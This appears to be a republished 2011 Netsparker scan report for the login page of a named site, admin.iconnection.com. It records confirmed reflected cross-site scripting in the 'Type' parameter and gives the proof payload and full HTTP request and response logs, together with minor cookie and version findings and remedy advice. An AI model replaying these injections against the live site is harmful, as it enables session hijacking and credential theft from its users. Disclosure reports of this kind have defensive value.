XSS, Cross Site Scripting in admin.iconnection.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

Netsparker - Scan Report Summary
TARGET URL
https://admin.iconnection.com/login.aspx
SCAN DATE
5/2/2011 3:18:17 PM
REPORT DATE
5/2/2011 3:23:54 PM
SCAN DURATION
00:03:14

Total Requests

Average Speed

req/sec.
11
identified
8
confirmed
0
critical
2
informational

DORK TESTS

DORK TESTS
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
45 %
LOW
36 %
INFORMATION
18 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ ASP.NET Version Disclosure No
IIS Version Disclosure No
/Includes/ Forbidden Resource Yes
/login.aspx Cookie Not Marked As Secure Yes
Auto Complete Enabled Yes
Cookie Not Marked As HttpOnly Yes
ViewState is not Encrypted No
/Login.aspx Type GET Cross-site Scripting Yes
Type GET Cross-site Scripting Yes
Type GET Cross-site Scripting Yes
Type GET Cross-site Scripting Yes
Cross-site Scripting

Cross-site Scripting

4 TOTAL
IMPORTANT
CONFIRMED
4
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /Login.aspx

/Login.aspx CONFIRMED

https://admin.iconnection.com/Login.aspx?Type='%2Balert(9)%2B'

Parameters

Parameter Type Value
Type GET '+alert(9)+'
__VIEWSTATE POST dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE O2k8Mj47aTw0PjtpPDU O2k8Nz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs Ozs O3Q8cDxwPGw8VGV4dDtWaXNpYmxlOz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPztvPGY Oz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs Pjs Ozs O3Q8cDxwPGw8VGV4dDs O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4 Oz47Oz47dDw7bDxpPDA Oz47bDx0PDtsPGk8MT47aTwzPjtpPDc O2k8OT47aTwxMT47aTwxMz47aTwxNT47aTwxNz47aTwxOT47PjtsPHQ8cDxwPGw8VGV4dDs O2w8UGFzc3dvcmQgQXNzaXN0YW5jZTs Pjs Ozs O3Q8cDxwPGw8VGV4dDs O2w8VXNlciBOYW1lOz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxQbGVhc2UgZW50ZXIgdGhlIHVzZXJuYW1lIHlvdSB1c2UgdG8gbG9naW47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs O2w8U2VjcmV0IFF1ZXN0aW9uO288Zj47Pj47Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs O2w8U2VjcmV0IEFuc3dlcjtvPGY Oz4 Oz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY Oz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxTdWJtaXQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPENhbmNlbDs Pjs Ozs Oz4 Oz4 Oz4 Oz4 O3Q8cDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs Ozs Oz4 Oz7dH3muZizjItM3zCp3yFdiS577sw==
secretQuestion%3AtxtUserName POST Smith
secretQuestion%3AbtnSubmit POST Submit

Request

POST /Login.aspx?Type='%2Bnetsparker(9)%2B' HTTP/1.1
Referer: https://admin.iconnection.com/Login.aspx?Type=ForgotPassword
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: admin.iconnection.com
Cookie: ASP.NET_SessionId=fni0h455t4pmfn2dwf40o0yr
Content-Length: 1229
Accept-Encoding: gzip, deflate

__VIEWSTATE=dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE%2bOz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE%2bO2k8Mj47aTw0PjtpPDU%2bO2k8Nz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDtWaXNpYmxlOz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPztvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDs%2bO2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4%2bOz47Oz47dDw7bDxpPDA%2bOz47bDx0PDtsPGk8MT47aTwzPjtpPDc%2bO2k8OT47aTwxMT47aTwxMz47aTwxNT47aTwxNz47aTwxOT47PjtsPHQ8cDxwPGw8VGV4dDs%2bO2w8UGFzc3dvcmQgQXNzaXN0YW5jZTs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDs%2bO2w8VXNlciBOYW1lOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxQbGVhc2UgZW50ZXIgdGhlIHVzZXJuYW1lIHlvdSB1c2UgdG8gbG9naW47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs%2bO2w8U2VjcmV0IFF1ZXN0aW9uO288Zj47Pj47Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs%2bO2w8U2VjcmV0IEFuc3dlcjtvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxTdWJtaXQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPENhbmNlbDs%2bPjs%2bOzs%2bOz4%2bOz4%2bOz4%2bOz4%2bO3Q8cDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs%2bOzs%2bOz4%2bOz7dH3muZizjItM3zCp3yFdiS577sw%3d%3d&secretQuestion%3AtxtUserName=Smith&secretQuestion%3AbtnSubmit=Submit

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 15:19:52 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 8274



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Login</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="javascript" src="Includes/groupbar.js"></script>
<script language="javascript" src="Includes/textBox.js"></script>
<LINK href="CSS/WebAdmin.css" type="text/css" rel="stylesheet">
<LINK href="CSS/Main.css" type="text/css" rel="stylesheet">
<script language="javascript">
<!--
var Page_Validators_Old = new Array();
var OldPageValidatorUpdate=false;

function SetControlForValidation( ContainerName, enable)
{
if( OldPageValidatorUpdate == false )
{
for (var i=0; i<Page_Validators.length; i++)
Page_Validators_Old[i] = Page_Validators[i];
OldPageValidatorUpdate = true;
}

Page_Validators.length = 0;

// get the container object

var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index<Page_Validators_Old.length;index++)
{
var obj = Page_Validators_Old[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
// RemoveValidatorControl(Page_Validators,Page_Validators_Old[index]);
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
// AddValidatorControl(Page_Validators,Page_Validators_Old[index]);
Page_Validators[currIndex] = Page_Validators_Old[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function SetControlForValidation2( ContainerName, enable, validatorControls )
{
Page_Validators.length = 0;
// get the container object
var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index < validatorControls.length;index++)
{
var obj = validatorControls[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
Page_Validators[currIndex] = validatorControls[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function Display(array) {
var str="";
for (var index=0;index<array.length;index++)
{
str = str + ' , ' + array[index].id;
}
// alert( str );
}

function RemoveValidatorControl(array,value) {
for (var index=0;index<array.length;index++) {
if( array[index].id == value.id )
RemoveElement(index,array);
}
}

function AddValidatorControl(array,value) {
for (var index=0;index<array.length;index++)
{
if( array[index].id == value.id )
return;
}
array[array.length+1] = value;
}



function RemoveElement(array,itemIndex) {
for (;itemIndex<array.length;itemIndex++) {
// assigns the value of elementnr+1 to elementnr, so you move all items by 1
array[itemIndex] = array[itemIndex + 1];
}
array.length=array.length-1;
}

// -->
</script>


<script language="javascript">
function onLoad()
{


var logOutType = ''+netsparker(9)+'';
if( logOutType == 'Timeout' || logOutType == 'Forced' )
{
parent.HideAll();
MessageDisplay(true);
progressDisplay(false);
if( logOutType == 'Timeout' )
{
var bExit;
bExit = confirm('If you want to log out completely; click OK to close the browser window.Click Cancel to login again.');
if( bExit == true )
{
parent.opener = top;
parent.close();
}
}
parent.Login();
}
else
{
progressDisplay(false);
window.focus();
var username = document.all("UserName");
if( username != null )
username.focus();
}

}

function GracefulExit()
{
var bExit = false;
bExit = confirm('If you want to log out completely; click OK to close the browser window.Click Cancel to login again.');
if( bExit )
{
window.opener = top;
window.close();
}
}

function MessageDisplay(show)
{
var login_message2 = document.all("login_message2");
{
if( show == true )
{
login_message2.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_message2.className = 'login_status_hide';
}
}
return true;
}

function progressDisplay(show)
{
var login_status = document.all("login_status");
{
if( show == true )
{
login_status.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_status.className = 'login_status_hide';
}
}
return true;
}
</script>
</HEAD>
<body onload="onLoad()" MS_POSITIONING="GridLayout">
<div id="LoginPanel">

<form name="login" method="post" action="Login.aspx?Type='%2Bnetsparker(9)%2B'" id="login">
<input type="hidden" name="__VIEWSTATE" value="dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE+Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE+O2k8Mj47aTw0PjtpPDU+Oz47bDx0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs+O2w8RGlkIHlvdSBmb3JnZXQgeW91ciBwYXNzd29yZD87bzxmPjs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxZb3UgaGF2ZSBiZWVuIGxvZ2dlZCBvdXQgZHVlIHRvIGEgcGVyaW9kIG9mIGluYWN0aXZpdHkuOz4+Oz47Oz47Pj47Pj47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Oz47Oz47Pj47PlCgGx0cf+a0fQHvKAyDAkMv5bRu" />


<table align = center cellpadding=0 cellspacing=0 border=0 >


<tr>

<td valign = top width = 400 height = 200 >
<table id="loginpage_ui" align="center">
<tr>
<td>
<table align="center">
<tr>
<td align="left">
</td>
</tr>
</table>
<table width="400px" align=center>
<tr>
<td align=right></td>
</tr>
</table>
<table width="400px" align="center">
<tr>
<td class="Error" id="login_message" align="center">
<span id="lbMessage" style="color:Red;width:504px;"></span>
<div id="ValidationSummary1" showmessagebox="True" style="color:Red;width:530px;display:none;">

</div>
</td>
</tr>
<tr>
<td align=center><span id="lbHelpMessage" class="label"></span></td>
</tr>
<tr>
<td class="login_status_hide" id="login_message2" align="center">
<span id="lbLogoutMessage" style="width:416px;">You have been logged out due to a period of inactivity.</span></td>
</tr>
</table>
<br>
<table align="center">
<tr>
<td align="left"></td>
</tr>
</table>

<table align="center">
<tr>
<td class="login_status_hide" id="login_status" vAlign="middle" align="center">Please wait while the user is being verified <IMG src="Images/Misc/Login-Anim.gif" align="absMiddle"></td>
</tr>
</table>
</TD></TR></TABLE>


</td>

</tr>


</table>

<script language="javascript" type="text/javascript">
<!--
var Page_ValidationSummaries = new Array(document.all["ValidationSummary1"]);
// -->
</script>

</form>

</div>



</BODY>
</HTML>
- /Login.aspx

/Login.aspx CONFIRMED

https://admin.iconnection.com/Login.aspx?Type='%2Balert(9)%2B'

Parameters

Parameter Type Value
Type GET '+alert(9)+'
__VIEWSTATE POST dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE O2k8Mj47aTw0PjtpPDU O2k8Nz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs Ozs O3Q8cDxwPGw8VGV4dDtWaXNpYmxlOz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPztvPGY Oz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs Pjs Ozs O3Q8cDxwPGw8VGV4dDs O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4 Oz47Oz47dDw7bDxpPDA Oz47bDx0PDtsPGk8MT47aTwzPjtpPDc O2k8OT47aTwxMT47aTwxMz47aTwxNT47aTwxNz47aTwxOT47PjtsPHQ8cDxwPGw8VGV4dDs O2w8UGFzc3dvcmQgQXNzaXN0YW5jZTs Pjs Ozs O3Q8cDxwPGw8VGV4dDs O2w8VXNlciBOYW1lOz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxQbGVhc2UgZW50ZXIgdGhlIHVzZXJuYW1lIHlvdSB1c2UgdG8gbG9naW47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs O2w8U2VjcmV0IFF1ZXN0aW9uO288Zj47Pj47Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs O2w8U2VjcmV0IEFuc3dlcjtvPGY Oz4 Oz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY Oz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxTdWJtaXQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPENhbmNlbDs Pjs Ozs Oz4 Oz4 Oz4 Oz4 O3Q8cDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs Ozs Oz4 Oz7dH3muZizjItM3zCp3yFdiS577sw==
secretQuestion:btnCancel POST Cancel
secretQuestion:btnSubmit POST Submit
secretQuestion:txtUserName POST Smith

Request

POST /Login.aspx?Type='%2Bnetsparker(9)%2B' HTTP/1.1
Referer: https://admin.iconnection.com/Login.aspx?Type=ForgotPassword
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: admin.iconnection.com
Cookie: ASP.NET_SessionId=fni0h455t4pmfn2dwf40o0yr
Content-Length: 1257
Accept-Encoding: gzip, deflate

__VIEWSTATE=dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE%2bOz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE%2bO2k8Mj47aTw0PjtpPDU%2bO2k8Nz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDtWaXNpYmxlOz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPztvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDs%2bO2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4%2bOz47Oz47dDw7bDxpPDA%2bOz47bDx0PDtsPGk8MT47aTwzPjtpPDc%2bO2k8OT47aTwxMT47aTwxMz47aTwxNT47aTwxNz47aTwxOT47PjtsPHQ8cDxwPGw8VGV4dDs%2bO2w8UGFzc3dvcmQgQXNzaXN0YW5jZTs%2bPjs%2bOzs%2bO3Q8cDxwPGw8VGV4dDs%2bO2w8VXNlciBOYW1lOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxQbGVhc2UgZW50ZXIgdGhlIHVzZXJuYW1lIHlvdSB1c2UgdG8gbG9naW47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs%2bO2w8U2VjcmV0IFF1ZXN0aW9uO288Zj47Pj47Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs%2bO2w8U2VjcmV0IEFuc3dlcjtvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2bOz4%2bOz47Oz47dDxwPHA8bDxUZXh0Oz47bDxTdWJtaXQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPENhbmNlbDs%2bPjs%2bOzs%2bOz4%2bOz4%2bOz4%2bOz4%2bO3Q8cDxwPGw8VmlzaWJsZTs%2bO2w8bzxmPjs%2bPjs%2bOzs%2bOz4%2bOz7dH3muZizjItM3zCp3yFdiS577sw%3d%3d&secretQuestion:btnCancel=Cancel&secretQuestion:btnSubmit=Submit&secretQuestion:txtUserName=Smith

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 15:20:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 8274



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Login</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="javascript" src="Includes/groupbar.js"></script>
<script language="javascript" src="Includes/textBox.js"></script>
<LINK href="CSS/WebAdmin.css" type="text/css" rel="stylesheet">
<LINK href="CSS/Main.css" type="text/css" rel="stylesheet">
<script language="javascript">
<!--
var Page_Validators_Old = new Array();
var OldPageValidatorUpdate=false;

function SetControlForValidation( ContainerName, enable)
{
if( OldPageValidatorUpdate == false )
{
for (var i=0; i<Page_Validators.length; i++)
Page_Validators_Old[i] = Page_Validators[i];
OldPageValidatorUpdate = true;
}

Page_Validators.length = 0;

// get the container object

var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index<Page_Validators_Old.length;index++)
{
var obj = Page_Validators_Old[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
// RemoveValidatorControl(Page_Validators,Page_Validators_Old[index]);
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
// AddValidatorControl(Page_Validators,Page_Validators_Old[index]);
Page_Validators[currIndex] = Page_Validators_Old[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function SetControlForValidation2( ContainerName, enable, validatorControls )
{
Page_Validators.length = 0;
// get the container object
var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index < validatorControls.length;index++)
{
var obj = validatorControls[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
Page_Validators[currIndex] = validatorControls[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function Display(array) {
var str="";
for (var index=0;index<array.length;index++)
{
str = str + ' , ' + array[index].id;
}
// alert( str );
}

function RemoveValidatorControl(array,value) {
for (var index=0;index<array.length;index++) {
if( array[index].id == value.id )
RemoveElement(index,array);
}
}

function AddValidatorControl(array,value) {
for (var index=0;index<array.length;index++)
{
if( array[index].id == value.id )
return;
}
array[array.length+1] = value;
}



function RemoveElement(array,itemIndex) {
for (;itemIndex<array.length;itemIndex++) {
// assigns the value of elementnr+1 to elementnr, so you move all items by 1
array[itemIndex] = array[itemIndex + 1];
}
array.length=array.length-1;
}

// -->
</script>


<script language="javascript">
function onLoad()
{


var logOutType = ''+netsparker(9)+'';
if( logOutType == 'Timeout' || logOutType == 'Forced' )
{
parent.HideAll();
MessageDisplay(true);
progressDisplay(false);
if( logOutType == 'Timeout' )
{
var bExit;
bExit = confirm('If you want to log out completely; click OK to close the browser window.Click Cancel to login again.');
if( bExit == true )
{
parent.opener = top;
parent.close();
}
}
parent.Login();
}
else
{
progressDisplay(false);
window.focus();
var username = document.all("UserName");
if( username != null )
username.focus();
}

}

function GracefulExit()
{
var bExit = false;
bExit = confirm('If you want to log out completely; click OK to close the browser window.Click Cancel to login again.');
if( bExit )
{
window.opener = top;
window.close();
}
}

function MessageDisplay(show)
{
var login_message2 = document.all("login_message2");
{
if( show == true )
{
login_message2.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_message2.className = 'login_status_hide';
}
}
return true;
}

function progressDisplay(show)
{
var login_status = document.all("login_status");
{
if( show == true )
{
login_status.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_status.className = 'login_status_hide';
}
}
return true;
}
</script>
</HEAD>
<body onload="onLoad()" MS_POSITIONING="GridLayout">
<div id="LoginPanel">

<form name="login" method="post" action="Login.aspx?Type='%2Bnetsparker(9)%2B'" id="login">
<input type="hidden" name="__VIEWSTATE" value="dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE+Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE+O2k8Mj47aTw0PjtpPDU+Oz47bDx0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs+O2w8RGlkIHlvdSBmb3JnZXQgeW91ciBwYXNzd29yZD87bzxmPjs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxZb3UgaGF2ZSBiZWVuIGxvZ2dlZCBvdXQgZHVlIHRvIGEgcGVyaW9kIG9mIGluYWN0aXZpdHkuOz4+Oz47Oz47Pj47Pj47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Oz47Oz47Pj47PlCgGx0cf+a0fQHvKAyDAkMv5bRu" />


<table align = center cellpadding=0 cellspacing=0 border=0 >


<tr>

<td valign = top width = 400 height = 200 >
<table id="loginpage_ui" align="center">
<tr>
<td>
<table align="center">
<tr>
<td align="left">
</td>
</tr>
</table>
<table width="400px" align=center>
<tr>
<td align=right></td>
</tr>
</table>
<table width="400px" align="center">
<tr>
<td class="Error" id="login_message" align="center">
<span id="lbMessage" style="color:Red;width:504px;"></span>
<div id="ValidationSummary1" showmessagebox="True" style="color:Red;width:530px;display:none;">

</div>
</td>
</tr>
<tr>
<td align=center><span id="lbHelpMessage" class="label"></span></td>
</tr>
<tr>
<td class="login_status_hide" id="login_message2" align="center">
<span id="lbLogoutMessage" style="width:416px;">You have been logged out due to a period of inactivity.</span></td>
</tr>
</table>
<br>
<table align="center">
<tr>
<td align="left"></td>
</tr>
</table>

<table align="center">
<tr>
<td class="login_status_hide" id="login_status" vAlign="middle" align="center">Please wait while the user is being verified <IMG src="Images/Misc/Login-Anim.gif" align="absMiddle"></td>
</tr>
</table>
</TD></TR></TABLE>


</td>

</tr>


</table>

<script language="javascript" type="text/javascript">
<!--
var Page_ValidationSummaries = new Array(document.all["ValidationSummary1"]);
// -->
</script>

</form>

</div>



</BODY>
</HTML>
- /Login.aspx

/Login.aspx CONFIRMED

https://admin.iconnection.com/Login.aspx?Type='%2Balert(9)%2B'

Parameters

Parameter Type Value
Type GET '+alert(9)+'
__VIEWSTATE POST dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwwPjtpPDE O2k8Mj47aTw0PjtpPDU O2k8Nz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs Ozs O3Q8cDxwPGw8VGV4dDtWaXNpYmxlOz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPztvPGY Oz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs Pjs Ozs O3Q8cDxwPGw8VGV4dDs O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4 Oz47Oz47dDw7bDxpPDA Oz47bDx0PDtsPGk8MT47aTwzPjtpPDc O2k8OT47aTwxMT47aTwxMz47aTwxNT47aTwxNz47aTwxOT47PjtsPHQ8cDxwPGw8VGV4dDs O2w8UGFzc3dvcmQgQXNzaXN0YW5jZTs Pjs Ozs O3Q8cDxwPGw8VGV4dDs O2w8VXNlciBOYW1lOz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxQbGVhc2UgZW50ZXIgdGhlIHVzZXJuYW1lIHlvdSB1c2UgdG8gbG9naW47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs O2w8U2VjcmV0IFF1ZXN0aW9uO288Zj47Pj47Pjs7Pjt0PHA8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7VmlzaWJsZTs O2w8U2VjcmV0IEFuc3dlcjtvPGY Oz4 Oz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY Oz4 Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxTdWJtaXQ7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPENhbmNlbDs Pjs Ozs Oz4 Oz4 Oz4 Oz4 O3Q8cDxwPGw8VmlzaWJsZTs O2w8bzxmPjs Pjs Ozs Oz4 Oz7dH3muZizjItM3zCp3yFdiS577sw==
secretQuestion%3AtxtUserName POST Smith
secretQuestion%3AbtnCancel POST Cancel

Request

POST /Login.aspx?Type='%2Bnetsparker(9)%2B' HTTP/1.1
Referer: https://admin.iconnection.com/Login.aspx?Type=ForgotPassword
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: admin.iconnection.com
Cookie: ASP.NET_SessionId=fni0h455t4pmfn2dwf40o0yr
Content-Length: 1229
Accept-Encoding: gzip, deflate

